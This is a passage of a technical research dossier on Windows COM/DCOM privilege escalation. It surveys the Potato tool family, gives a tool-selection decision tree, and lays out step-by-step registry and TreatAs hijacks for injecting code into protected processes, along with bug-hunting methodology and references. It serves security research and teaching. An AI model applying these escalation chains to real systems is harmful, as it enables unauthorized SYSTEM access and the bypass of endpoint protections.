4. **Weaponization:** write `SprintCSP.dll` to System32 + trigger `SvcRebootToFlashingMode` (StorSvc RPC, BlackArrowSec's RpcClient — released 2023-02-13), or overwrite `printconfig.dll` and instantiate **PrintNotify** (the authors' Server 2022 demo), or XPS Print Job / NetMan DLL hijack.
|
||||||
|
5. **Patch:** Jan 2023 (CVE-2023-21746): `SsprHandleChallengeMessage` — if `ISC_REQ_UNVERIFIED_TARGET_NAME` set and SPN present → SPN nulled → SMB anti-reflection denies `cifs/127.0.0.1`. **HTTP/WebDAV scenario remained unpatched (Microsoft decision)**: "LocalPotato HTTP edition" (decoder.cloud/2023/11/03/localpotato-http-edition/). 0patch covers EOL versions.
|
||||||
|
|
||||||
|
### 5.9 The rest of the family — verified existence & classification
|
||||||
|
|
||||||
|
| Tool | Author/Year | Mechanism | COM in chain? | Works on |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **GodPotato** | BeichenDream, Dec 2022 | Novel DCOM trigger; author: "some defects in rpcss when dealing with OXID"; needs only SeImpersonatePrivilege; .NET 2/3.5/4 builds | **Yes (trigger)** — service-DCOM-object activation + impersonation of the DCOM callback | Win8–11, Server 2012–2022 |
|
||||||
|
| **DCOMPotato** | zcgonvh | "Some Service DCOM Object and SeImpersonatePrivilege abuse" — variants `PrinterNotifyPotato.exe`, `McpManagementPotato.exe`; attacker-supplied `IUnknown` callback → `CoImpersonateClient()` in its `QueryInterface` impersonates the SYSTEM caller (these objects default to `RPC_C_IMP_LEVEL_IMPERSONATE`) | **Yes (trigger + callback impersonation)** | Win10/11, Server 2012–2022 |
|
||||||
|
| **PrintNotifyPotato** | BeichenDream, late 2022 | PrintNotify CLSID + fake `IUnknown`/pointer-moniker callback; works even with legacy Spooler disabled | **Yes** | Win10/11, Server 2012–2022 |
|
||||||
|
| **EfsPotato** | zcgonvh, 2021 | MS-EFSR (`EfsRpcOpenFileRaw`/`EfsRpcEncryptFileSrv` PetitPotam-style) coercion of SYSTEM to attacker pipe `\\.\pipe\lsarpc` (alt: efsrpc/samr/lsass/netlogon) + named-pipe impersonation; CVE-2021-36942 patch bypass notes by @xassiz | **No — pure RPC coercion + pipe impersonation** | Servers 2012–2022 era (pre-EFSR hardening); C# |
|
||||||
|
| **SharpEfsPotato** | bugch3ck | EfsRpc + pipe impersonation built from SweetPotato + SharpEfsTrigger | No | similar |
|
||||||
|
| **CoercedPotato** | @Hack0ura & @Prepouce (Hackvens), 2023 | Automated multi-coercion: tries MS-RPRN (`RpcRemoteFindFirstPrinterChangeNotification[Ex]`) then MS-EFSR functions (14 variants) against local pipe servers `\\.\pipe\coerced\pipe\spoolss` / `…\srvsvc` + impersonation; French writeup blog.hackvens.fr/articles/CoercedPotato.html | **No — pure RPC coercion** | Win10/11, Server 2022 (verified screenshot build 22621) |
|
||||||
|
| **PetitPotato** | wh0amitz | Local PetitPotam (EFSRPC) → pipe | No | — |
|
||||||
|
| **RasmanPotato** | crisprss | Coerces **RasMan** service (SYSTEM) via its RPC interface → pipe impersonation | No | Win10, Server 2012–2019 |
|
||||||
|
| **BadPotato** | BeichenDream | itm4n's PrintSpoofer ported to C# | No | Win8–10, 2012–2019 |
|
||||||
|
| **CandyPotato** | klezVirus | Pure C++ weaponized RottenPotatoNG | Yes (Rotten lineage) | Win10/2016 era |
|
||||||
|
| **MultiPotato** | S3cur3Th1sSh1t | Multi-trigger combo | mixed | — |
|
||||||
|
| **SigmaPotato** | tylerdotrar, 2023–24 | Modernized GodPotato-fork style; `--revshell`, in-memory `[SigmaPotato]::Main()` via .NET reflection | Yes (DCOM lineage) | Win8–11, 2012–2022 |
|
||||||
|
| **GenericPotato** | Micah van Deusen, 2021 | Generic SeImpersonation → SYSTEM via modified SSPI/HTTP named-pipe-less approach (micahvandeusen.com/the-power-of-seimpersonation/) | partial | — |
|
||||||
|
| **GhostPotato** | Shenanigans Labs, Nov 2019 | MS08-068-style SMB relay bypass via NTLM challenge-cache (300 s) with modified impacket | No | unpatched-at-the-time SMB relay |
|
||||||
|
| **RemotePotato0** | antonioCoco/SentinelOne, 2021 | Cross-protocol relay RPC→HTTP, "Won't Fix" — **remote** user→DA, not local LPE; boundary case | partial | — |
|
||||||
|
| **CertPotato** | SensePost, 2022 | ADCS cert path from virtual/network service accounts | No | — |
|
||||||
|
| **LonelyPotato** | decoder, Dec 2017 | RottenPotato standalone (no Meterpreter) | Yes | ≤1803 |
|
||||||
|
| **"SharpPotato"** | — | **No well-known tool by this exact name exists** (likely confusion with SweetPotato/BadPotato/SharpEfsPotato). State this to preempt questions. | — | — |
|
||||||
|
|
||||||
|
### 5.10 Potato decision tree (text form)
|
||||||
|
|
||||||
|
1. `whoami /priv` → SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege present? (No → not a potato target.)
|
||||||
|
2. OS ≤ Win10 1803 / Server 2016 → **RottenPotatoNG / JuicyPotato** (BITS or list CLSID).
|
||||||
|
3. OS ≥ Win10 1809 / Server 2019 → can victim reach your box on TCP 135 (or local port-proxy)? → **RoguePotato**. Else → interactive-capable or service account? → **JuicyPotatoNG** (LogonUser type-9 trick) / **GodPotato / DCOMPotato / PrintNotifyPotato** (service DCOM callbacks).
|
||||||
|
4. Spooler up, Win10/2016-2019 → **PrintSpoofer** (C#: BadPotato). Spooler down/hardened → **EfsPotato / CoercedPotato** coercion alternatives.
|
||||||
|
5. Need file-write primitive on ≤ Jan-2023 builds → **LocalPotato** (+ StorSvc/PrintNotify weaponization); patched → LocalPotato HTTP/WebDAV edition.
|
||||||
|
6. .NET 4 present → SweetPotato / GodPotato-NET4 / SigmaPotato for opsec-friendly in-memory execution.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. TRAPPED COM OBJECTS (Forshaw, Project Zero, Jan 30 2025)
|
||||||
|
|
||||||
|
**Source:** "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" — projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html (mirror googleprojectzero.blogspot.com). (Post is dated 2025-Jan-30.)
|
||||||
|
|
||||||
|
### 6.1 The bug class
|
||||||
|
|
||||||
|
Object-oriented remoting (DCOM, .NET Remoting) marshals returned objects **by reference** by default — the object stays ("is trapped") in the server process while the client gets a remote pointer. If the object is not safe to expose across the boundary, the client now drives privileged code in the server. Three introduction scenarios:
|
||||||
|
|
||||||
|
1. **Unsafe object shared inadvertently** — **CVE-2019-0555**: WinRT needed an XML document; devs bolted runtime interfaces onto the XML DOM Document v6 COM object assuming no XSLT → malicious client `QueryInterface`s the legacy `IXMLDOMDocument` → XSLT script execution → sandbox escape.
|
||||||
|
2. **Asynchronous marshaling primitive** — .NET classes both serializable and `MarshalByRefObject` (e.g., `FileInfo`/`DirectoryInfo`): send serialized copy to server, read it back → marshaled **by reference** → trapped live object → create files as server (implemented in Forshaw's **ExploitRemotingService** tool).
|
||||||
|
3. **Abusing the platform's object-instantiation plumbing** — coerce a path to `CoCreateInstance` with attacker CLSID and get the object back: **CVE-2017-0211** (Structured Storage exposed across boundary; `IPropertyBag` → create arbitrary COM object in server → XML DOM → XSLT EoP).
|
||||||
|
|
||||||
|
### 6.2 The IDispatch / type-library vector (the new part)
|
||||||
|
|
||||||
|
- Any OOP server exposing **`IDispatch`** must vend type info: client calls `IDispatch::GetTypeInfo` → **`ITypeInfo`**, itself marshaled by reference → **trapped in server**.
|
||||||
|
- `ITypeInfo::Invoke` is *not* remotable, but **`ITypeInfo::CreateInstance` IS** — and it calls `CoCreateInstance` **in the server process**. The type info must describe a **CoClass** (carries a CLSID); reach it via `ITypeInfo::GetContainingTypeLib` → `ITypeLib` → enumerate classes → including **referenced type libraries** (`stdole` is virtually always referenced).
|
||||||
|
- Worked example (verbatim methodology from the post, OleViewDotNet PowerShell module):
|
||||||
|
- `Get-ComClass -Service` → enumerate interfaces → filter `IsDispatch` → 5 candidates on a default box: **WaaSRemediation `{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}`**, SearchGatheringManager `{9E175B68-F52A-11D8-B9A5-505054503030}`, SearchGathererNotification `{9E175B6D-…}`, AutomaticUpdates `{BFE18E9C-6D87-4450-B37C-E02F0B373803}`, Microsoft.SyncShare.SyncShareFactoryClass `{DA1C0281-456B-4F14-A46D-8ED2E21A866F}`.
|
||||||
|
- `New-ComObject -Clsid 72566e27-…` → `Import-ComTypeLib` → verify OOP with `Get-ComObjRef` (shows svchost.exe) → `$lib.Parse()` → `ReferencedTypeLibs` → **stdole 2.0 `{00020430-0000-0000-C000-000000000046}`** → classes **StdFont `{0BE35203-8F91-11CE-9DE3-00AA004BB851}`** and StdPicture `{0BE35204-…}` — both registered **InProcServer32 only (`oleaut32.dll`)** → instantiating one via the *remote* type library plants it inside the service: navigate `GetRefTypeOfImplType(0)` → `GetRefTypeInfo` → `GetContainingTypeLib` → `GetTypeInfoOfGuid(<StdFont CLSID>)` → `CreateInstance()` → `Get-ComObjRef` proves object lives in the service process. (StdPicture has an OOP check; StdFont doesn't. Forshaw found no direct EoP in the font object.)
|
||||||
|
- **Type-library/proxy substitution → type confusion (why substitution works):** the stub for the remoted interface is *generated from the type library*; control the TLB (registration swap or referencing an OOP TLB) and you control the server-side stub's type view — classic type confusion (his earlier NGEN-COM attack overwrote the KnownDlls handle this way). Microsoft's countermeasure now in `oleaut32.dll`: **`VerifyTrust`** — when loading a TLB inside a protected process, requires cached signing level **≥ 12 (Windows)** via `NtGetCachedSigningLevel`/`NtSetCachedSigningLevel`; raw (non-PE) TLBs fail with `STATUS_INVALID_IMAGE_FORMAT`. This same hardening blocks ROT-based OOP type-library references.
|
||||||
|
|
||||||
|
### 6.3 PPL injection chain (the flagship PoC)
|
||||||
|
|
||||||
|
`WaaSRemediationAgent` runs in **`WaaSMedicSvc` as PPL `PsProtectedSignerWindows-Light`** (`$cls.AppIDEntry.ServiceProtectionLevel = WindowsLight`) — the service that also gates access to LSASS-level protected processes. Chain:
|
||||||
|
|
||||||
|
1. Set `HKLM\SOFTWARE\Microsoft\.NETFramework\AllowDCOMReflection = 1` (DWORD) — re-enables .NET DCOM reflection disabled since **MS14-009**; also `OnlyUseLatestCLR = 1` to force CLR v4 (else v2 is loaded). *(Admin needed for HKLM; but per-user HKCU COM/.NET registration can substitute — Forshaw: "the general technique does not [require admin]" if you find any suitable IDispatch-exposing server.)*
|
||||||
|
2. **`TreatAs` hijack**: point `HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\TreatAs` (StdFont) at the .NET **`System.Object`** COM class.
|
||||||
|
3. Create `WaaSRemediationAgent` OOP → walk IDispatch→stdole→StdFont `CreateInstance` → **CLR loads inside the PPL** and returns `System.Object`.
|
||||||
|
4. `GetType` → .NET reflection → **`System.Reflection.Assembly::Load(byte[])`** → unsigned code executes in PPL-Windows → instantiate an object in the loaded assembly → run code (LSASS-with-PPL, protected AV/EDR processes now reachable). Cleanup registry.
|
||||||
|
5. **Windows 11 24H2 wrinkle:** 64-bit `mscorlib.tlb` is a raw TLB → fails `VerifyTrust` signing-level (STATUS_INVALID_IMAGE_FORMAT); the **32-bit** `Framework\v4.0.30319\mscorlib.tlb` is PE-packed (MZ) → set cached signing level (or swap TLB registration path to the 32-bit file) → PoC works again. Forshaw did **not** release his PoC (C++; "very similar to my CVE-2014-0257 exploit" — github.com/tyranid/IE11SandboxEscapes).
|
||||||
|
- **Public third-party PoCs:** Mohamed Fakroud's writeup + **github.com/T3nb3w/ComDotNetExploit** (PPL injection); IBM X-Force Red "Fileless lateral movement with trapped COM objects" + **github.com/xforcered/ForsHops** (`forshops.exe [target] [c:\path\to\assembly]`; detection: TreatAs key on StdFont CLSID, `AllowDCOMReflection`/`OnlyUseLatestCLR` values, CLR load inside WaaSMedicSvc svchost — Samir Bousseaden's guidance; YARA strings include WaaSRemediation CLSID `{72566E27-…}` and `{34050212-8AEB-416D-AB76-1E45521DB615}`); **Outflank (Kyle Avery, Jul 2025)** used LLM-assisted enumeration to find **alternative IDispatch classes** that avoid the PPL CLR-load limitation entirely (outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/).
|
||||||
|
- Framing: LPE angle = sandbox/AppContainer escapes and PPL injection (Microsoft does not treat PPL as a security boundary → fixes ship late, in new Windows versions).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. OTHER DOCUMENTED COM LPE VECTORS (verified)
|
||||||
|
|
||||||
|
1. **UPnP Device Host + Update Orchestrator chain (NCC Group / Fox-IT, Nov 2019):**
|
||||||
|
- **CVE-2019-1405** — logical flaw in UPnP Device Host service COM objects `UPnPContainerManager`/`UPnPContainerManager64` implementing undocumented `IUPnPContainerManager` (IID `6D8FF8D4-730D-11D4-BF42-00B0D0118B56`; methods `ReferenceContainer`, `UnReferenceContainer`, `CreateInstance`, `CreateInstanceWithProgID`, `Shutdown`) → any local user executes commands as **LOCAL SERVICE**. Fixed Nov 2019 by adding Administrators-only access checks to the dangerous methods.
|
||||||
|
- **CVE-2019-1322** — service misconfiguration: members of the **`SERVICE` group could reconfigure UsoSvc** (`sc stop UsoSvc` → `sc config UsoSvc binpath= …` → `sc start`) running as SYSTEM. Fixed Oct 2019 by stripping Full Control from the SERVICE group.
|
||||||
|
- Chained: any local user → SYSTEM on Win10 1803–1903. PoC: **COMahawk** (`COMahawk64.exe`). Ref: fox-it.com writeup ("CVE-2019-1405 and CVE-2019-1322 – Elevation to SYSTEM via the UPnP Device Host Service and the Update Orchestrator Service", Langlois & Torkington). *The canonical "service exposes dangerous COM API to everyone" teaching example — and the methodology section of that post is a ready-made OleViewDotNet walkthrough.*
|
||||||
|
2. **COM Aggregate Marshaler & type-library bugs (Forshaw, May 2017):** **CVE-2017-0213** (Aggregate Marshaler `Finish_RemQIAndUnmarshal2`; PoC uses BITS `SetNotifyInterface` → type library load under impersonation → **scriptlet moniker** → code exec in BITS as SYSTEM; exploit-db 42020; later CISA KEV) and **CVE-2017-0214** (type-library input validation).
|
||||||
|
3. **Session Moniker / interactive-user DCOM (2017):** CVE-2017-0100 + bad-fix CVE-2017-0298. Bug pattern: `RunAs=Interactive User` + cross-session activation + missing client verification.
|
||||||
|
4. **WalletService memory corruption over COM — CVE-2020-1362** (Q4n/Haoran Qin + Zhiniang Peng, Jul 2020): WalletService COM server (`Wallet::WalletCustomProperty::SetGroup` OOB write → `SetLabel` BSTR pointer write-what-where → fake vtable → redirect virtual call to `dxgi!ATL::CComObject<CDXGIAdapter>::vector deleting destructor` whose `LoadLibraryExW` uses a writable global path → load attacker DLL as SYSTEM; chained with CVE-2020-1361 heap leak). Medium IL → SYSTEM, verified on 18363. Writeup: github.com/Q4n/CVE-2020-1362. **Pattern: DCOM method parameters → memory corruption in privileged server.**
|
||||||
|
5. **Per-user COM hijack into privileged processes (HKCU\Software\Classes\CLSID\{…}\InprocServer32 / TreatAs / AppID paths):** user-writable per-user COM registrations shadow machine registrations for classes activated *in the user's logon session*. Classic uses are UAC bypass & persistence (bohops "Abusing the COM Registry Structure" parts 1–2; MITRE ATT&CK **T1122 Component Object Model Hijacking**), but it becomes **LPE/PPL-relevant** when a higher-privileged in-session process (or an IDispatch trapped-object server) activates the class — Forshaw explicitly notes the per-user variant of the StdFont TreatAs hijack for PPL injection *without* admin. Guidance: present as "check what identity activates user-scope classes."
|
||||||
|
6. **.NET COM interop into privileged processes:** any registered .NET COM class loads the CLR (mscoree) into the activating process — including SYSTEM services and PPL. Leveraged by CVE-2014-0257 (Forshaw IE sandbox escape, public PoC), the trapped-object chain, and historically by .NET DCOM reflection (`System.Type` over DCOM → arbitrary reflection; fixed by **MS14-009**, re-enablable via `AllowDCOMReflection`; `OnlyUseLatestCLR` selects CLR v4). Pattern: **registry values + TreatAs + .NET class = unsigned code in signed processes.**
|
||||||
|
7. **WinRT broker / runtime-class bugs:** WinRT is COM underneath (runtime classes, activation via combase, broker processes crossing IL/AppContainer boundaries). Verified example in-scope: **CVE-2019-0555** (XML DOM through WinRT). Guidance: brokers = OOP COM servers with sandbox-facing activation permissions — same triage.
|
||||||
|
8. **DiagHub sibling CVEs:** CVE-2018-0952 (Atredis PoC) and the later DiagHub case-sensitivity directory-traversal EoP (irsl PoC) — reinforce "DCOM service with file-manipulation methods = recurring CVE farm."
|
||||||
|
9. **Adjacent (flag as *not* COM, avoid mislabeling):** Perfusion (itm4n) is the **RpcEptMapper registry-key ACL** bug (Win7/2008R2/8/2012) — RPC, not COM; FullPowers recovers LOCAL/NETWORK SERVICE default privileges (task scheduler, not COM); CVE-2020-1337 Print Spooler file-write — RPC.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. RESEARCH METHODOLOGY — FINDING NEW COM LPE BUGS
|
||||||
|
|
||||||
|
### 8.1 Enumeration
|
||||||
|
|
||||||
|
- **OleViewDotNet** (github.com/tyranid/oleviewdotnet; Forshaw, .NET 4; PS module: `Install-Module OleViewDotNet` — **PowerShell 5 only**, not 7+):
|
||||||
|
- GUI: `Registry → Local Services` (COM objects hosted in services, with filter), `Registry → CLSIDs by Server`, object node → **View Launch Permissions / View Access Permissions** (decoded AppID SDDLs).
|
||||||
|
- PowerShell: `Get-ComClass -Service`, `Get-ComInterface -Class $_`, `New-ComObject -Clsid …`, `Import-ComTypeLib -Object …`, `Get-ComObjRef` (proves OOP + host PID/name), `Get-ComClass -Clsid …` → `.Servers` (InProc vs Local), `.AppIDEntry.ServiceProtectionLevel` (PPL check), `.AppIDEntry` (RunAs, service name).
|
||||||
|
- Raw registry: `HKLM\SOFTWARE\Classes\CLSID`, `…\AppID\{guid}` values `LaunchPermission`, `AccessPermission`, `RunAs`, `Service`, `ServiceProtectionLevel`; machine defaults under `HKLM\SOFTWARE\Microsoft\Ole`. Per-user shadow: `HKCU\Software\Classes\CLSID`.
|
||||||
|
- Existing abusable-CLSID corpora: ohpe.it/juicy-potato/CLSID/ (per-OS), strontic xcyclopedia CLSID library, juicy-potato repo README tables.
|
||||||
|
- RPC/RPCSS surface: RpcView (endpoint/interface dump), impacket `rpcdump.py`, Wireshark DCERPC + DCOM (IObjectExporter/IRemUnknown2) dissectors.
|
||||||
|
|
||||||
|
### 8.2 Target triage checklist
|
||||||
|
|
||||||
|
1. OOP server (`LocalServer32` or service-hosted AppID). 2. Runs as SYSTEM (or LOCAL/NETWORK SERVICE for hops). 3. Launch+access ACLs include your principal (Authenticated Users / INTERACTIVE / AppContainer-LPAC for sandbox escapes). 4. Methods that touch: filesystem paths, registry, process creation, `LoadLibrary*`, `SetNamedSecurityInfo`, token APIs, or that accept interface pointers (callback impersonation, DCOMPotato pattern) or return objects (trapped-object pattern). 5. Bonus: `IDispatch` present (type-library vector), .NET interop, `RunAs=Interactive User`.
|
||||||
|
|
||||||
|
### 8.3 Static RE checklist (Forshaw's DiagHub recipe, generalized)
|
||||||
|
|
||||||
|
1. OleViewDotNet: create instance → Marshal ⇒ View Properties → capture **PID + IPID + OXID + string bindings + authn services**.
|
||||||
|
2. OVDN process view (needs admin + configured symbols: dbghelp from WinDbg + `srv*https://msdl.microsoft.com/download/symbols`) → IPID entry → **interface pointer + server-side VTable address** (e.g., `DiagnosticsHub_StandardCollector_Runtime+0x36C78`).
|
||||||
|
3. WinDbg attach: `dqs <module>+<offset> L<nMethods>` → symbolized method names (public symbols on MS components).
|
||||||
|
4. OVDN **View Proxy Definition** → decompiles NDR stubless bytecode → method signatures; **Structures tab** → marshaled struct layouts → rebuild the interface in C++/C#.
|
||||||
|
5. In IDA/Ghidra: xref command strings (itm4n's `"StartScan"` technique), map `_guard_dispatch_icall_fptr` indirect calls to VTable slots via dynamic breakpoints; match client proxy slots (`ObjectStublessClientN`) to server symbols.
|
||||||
|
6. Hunt the failure modes: missing/late `CoImpersonateClient`/`RpcImpersonateClient`, early `RevertToSelf`, identify-level acceptance, device-map/symlink handling under impersonation, `RunAs` mismatches, type-library/TLB trust, `TreatAs`, unmarshaled-object safety.
|
||||||
|
|
||||||
|
### 8.4 Dynamic harness
|
||||||
|
|
||||||
|
Minimal C++ client: `CoInitializeEx` → `CoCreateInstance(CLSCTX_LOCAL_SERVER)` → `CoSetProxyBlanket(…, RPC_C_IMP_LEVEL_IMPERSONATE, …)` → invoke methods with controlled inputs; log server-side behavior with **Process Monitor** (filter: server PID; file/reg/LoadImage ops as SYSTEM), API Monitor, WinDbg breakpoints on `CoImpersonateClient`, `RpcImpersonateClient`, `CreateFileW`, `RegCreateKeyExW`, `LoadLibraryExW`, `SetNamedSecurityInfo`; ETW providers Microsoft-Windows-RPC / COM for call tracing; TokenViewer (Forshaw) to inspect captured tokens (type: impersonation vs identification — the #1 source of "exploit didn't work" confusion).
|
||||||
|
|
||||||
|
### 8.5 Fuzzing marshal paths
|
||||||
|
|
||||||
|
- Mutate marshaled NDR buffers against the **NDR interpreter stubs** (the exact layer OVDN decompiles); watch for OOB in server-side unmarshalling (WalletService class) and for marshal-by-reference object leaks.
|
||||||
|
- Academic/industrial: **COMRace** (USENIX Security '22 — data-race detection in COM objects); **Black Hat EU 2024 "Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways"** (harness-generation talk); RPC-aware fuzzing driven from IDA-generated clients; interface brute-calling via OVDN PowerShell (`New-ComObject` + method invocation) as a poor-man's fuzzer.
|
||||||
|
|
||||||
|
### 8.6 Patch diffing
|
||||||
|
|
||||||
|
BinDiff/Ghidra `rpcss.dll`, `combase.dll`, `ole32.dll`, `oleaut32.dll`, `usosvc.dll`, `usocoreworker`, DiagHub runtime. What to look for (proven patterns): new ACL checks in methods (CVE-2019-1405 fix), service-SD changes (CVE-2019-1322 fix), **silent** binding-builder changes (1809 `MakeBinding`→`CreateRemoteBindingToOR`), image-load policy (`ProcessImageLoadPolicy`, 19H1), signing-level enforcement (`VerifyTrust` in oleaut32), NTLM package changes (`SsprHandleChallengeMessage`, CVE-2023-21746, diff `msv1_0.dll`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. DIAGRAM SPECS (covered by DIAGRAM_SPEC d12–d17)
|
||||||
|
|
||||||
|
1. Impersonation Contract sequence diagram (d06/d12).
|
||||||
|
2. DiagHub chain (d13): StorSvc `SvcMoveFileInheritSecurity` + hard link → `WRITE_DAC` on `license.rtf` → overwrite → `CoCreateInstance({42CBFAA7-…})` → CreateSession → AddAgent → LoadLibraryExW as SYSTEM; mitigation ribbon: 19H1 ProcessImageLoadPolicy.
|
||||||
|
3. RoguePotato chain (d15): swimlane with COM lanes (1–4) vs pipe/token (5–7).
|
||||||
|
4. Potato decision tree (d16 timeline + text tree): color-code COM trigger vs RPC coercion vs NTLM/LSASS; build ranges per branch.
|
||||||
|
5. Trapped COM object flow (d17): IDispatch→ITypeInfo→stdole→StdFont CreateInstance→TreatAs→System.Object in PPL→Assembly.Load; VerifyTrust side panel.
|
||||||
|
6. DCOM OBJREF anatomy (d04): the exact bytes every potato forges.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. REFERENCES
|
||||||
|
|
||||||
|
**Project Zero / Forshaw (primary):**
|
||||||
|
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege (DiagHub) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html (mirror: https://projectzero.google/2018/04/windows-exploitation-tricks-exploiting.html)
|
||||||
|
- P0 issue 1428 (StorSvc `SvcMoveFileInheritSecurity`, full exploit incl. DiagHub loader) — https://bugs.chromium.org/p/project-zero/issues/detail?id=1428
|
||||||
|
- P0 issue 325 (DCOM DCE/RPC Local NTLM Reflection → CVE-2015-2370) — https://bugs.chromium.org/p/project-zero/issues/detail?id=325
|
||||||
|
- Windows Bug Class: Accessing Trapped COM Objects with IDispatch — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html (mirror: https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html)
|
||||||
|
- Windows Exploitation Tricks: Relaying DCOM Authentication (basis of JuicyPotatoNG trick) — https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
|
||||||
|
- Sharing a Logon Session a Little Too Much (NETWORK SERVICE→SYSTEM; RoguePotato dependency) — https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
|
||||||
|
- CVE-2014-0257 PoC (.NET DCOM reflection, referenced for trapped-object PoC) — https://github.com/tyranid/IE11SandboxEscapes
|
||||||
|
- OleViewDotNet — https://github.com/tyranid/oleviewdotnet
|
||||||
|
|
||||||
|
**itm4n:**
|
||||||
|
- Weaponizing Privileged File Writes with the USO Service — Part 1 — https://itm4n.github.io/usodllloader-part1/
|
||||||
|
- Weaponizing Privileged File Writes with the USO Service — Part 2 — https://itm4n.github.io/usodllloader-part2/
|
||||||
|
- UsoDllLoader — https://github.com/itm4n/UsoDllLoader
|
||||||
|
- PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019 — https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
|
||||||
|
- PrintSpoofer repo — https://github.com/itm4n/PrintSpoofer
|
||||||
|
|
||||||
|
**decoder.cloud / splinter_code:**
|
||||||
|
- No more JuicyPotato? Old story, welcome RoguePotato! — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
|
||||||
|
- No more rotten/juicy potato? (1809 silent fix) — https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
|
||||||
|
- Giving JuicyPotato a second chance: JuicyPotatoNG — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
|
||||||
|
- The impersonation game (Juicy2) — https://decoder.cloud/2020/05/30/the-impersonation-game/
|
||||||
|
- The lonely potato — https://decoder.cloud/2017/12/23/the-lonely-potato/
|
||||||
|
- From NETWORK SERVICE to SYSTEM — https://decoder.cloud/2020/04/01/from-network-service-to-system/
|
||||||
|
- We thought they were potatoes but they were beans (SweetPotato analysis) — https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
|
||||||
|
- LocalPotato — When Swapping The Context Leads You To SYSTEM — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/
|
||||||
|
- LocalPotato HTTP edition — https://decoder.cloud/2023/11/03/localpotato-http-edition/
|
||||||
|
- LocalPotato repo — https://github.com/decoder-it/LocalPotato ; technical writeup — https://www.localpotato.com/localpotato_html/LocalPotato.html
|
||||||
|
- RoguePotato repo — https://github.com/antonioCoco/RoguePotato ; JuicyPotatoNG repo — https://github.com/antonioCoco/JuicyPotatoNG ; RogueWinRM — https://github.com/antonioCoco/RogueWinRM
|
||||||
|
- Talk slides: "10 Years of Windows Privilege Escalations with Potatoes" (Antonio Cocomazzi, POC2023/Troopers24) — https://powerofcommunity.net/poc2023/AntonioCocomazzi.pdf and https://troopers.de/downloads/troopers24/TR24_10_years_of_Windows_Privilege_Escalation_with_Potatoes_CYZBJ3.pdf
|
||||||
|
|
||||||
|
**FoxGlove / ohpe:**
|
||||||
|
- Rotten Potato — Privilege Escalation from Service Accounts to SYSTEM — https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
|
||||||
|
- Hot Potato — https://foxglovesecurity.com/2016/01/16/hot-potato/
|
||||||
|
- Abusing Token Privileges for Windows LPE — https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
|
||||||
|
- RottenPotato repo — https://github.com/foxglovesec/RottenPotato ; RottenPotatoNG — https://github.com/foxglovesec/RottenPotatoNG
|
||||||
|
- JuicyPotato (abusing the golden privileges) — http://ohpe.it/juicy-potato/ ; CLSID lists — http://ohpe.it/juicy-potato/CLSID/ ; repo — https://github.com/ohpe/juicy-potato
|
||||||
|
|
||||||
|
**CVE-2015-2370 ecosystem / CVE-2017-0100:**
|
||||||
|
- Exploiting MS15-076 (CVE-2015-2370) — NetSPI (Trebuchet) — https://www.netspi.com/blog/technical-blog/web-application-pentesting/exploiting-ms15-076-cve-2015-2370/
|
||||||
|
- Microsoft Patch Tuesday July 2015 (MS15-076 context) — https://blog.talosintelligence.com/microsoft-patch-tuesday-july-2015/
|
||||||
|
- CVE-2017-0100 advisory text (HelpPane) — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0100 (NVD mirror: https://nvd.nist.gov/vuln/detail/CVE-2017-0100)
|
||||||
|
- "Windows: Bad Fix for COM Session Moniker EoP" (CVE-2017-0298) — mirrored at https://sploitus.com/exploit?id=1337DAY-ID-28134
|
||||||
|
|
||||||
|
**Other potatoes / coercion:**
|
||||||
|
- SweetPotato — https://github.com/CCob/SweetPotato ; blog — https://ethicalchaos.dev/2020/04/13/sweetpotato-local-service-to-system-privesc/ ; Pentest Partners — https://www.pentestpartners.com/security-blog/sweetpotato-service-to-system/
|
||||||
|
- SpoolSample (Lee Christensen) — https://github.com/leechristensen/SpoolSample
|
||||||
|
- EfsPotato — https://github.com/zcgonvh/EfsPotato ; SharpEfsPotato — https://github.com/bugch3ck/SharpEfsPotato ; DCOMPotato — https://github.com/zcgonvh/DCOMPotato
|
||||||
|
- GodPotato — https://github.com/BeichenDream/GodPotato ; BadPotato — https://github.com/BeichenDream/BadPotato ; PrintNotifyPotato — https://github.com/BeichenDream/PrintNotifyPotato
|
||||||
|
- CoercedPotato — https://github.com/Prepouce/CoercedPotato ; writeup (FR) — https://blog.hackvens.fr/articles/CoercedPotato.html
|
||||||
|
- PetitPotato — https://github.com/wh0amitz/PetitPotato ; RasmanPotato — https://github.com/crisprss/RasmanPotato ; CandyPotato — https://github.com/klezVirus/CandyPotato ; MultiPotato — https://github.com/S3cur3Th1sSh1t/MultiPotato ; SigmaPotato — https://github.com/tylerdotrar/SigmaPotato
|
||||||
|
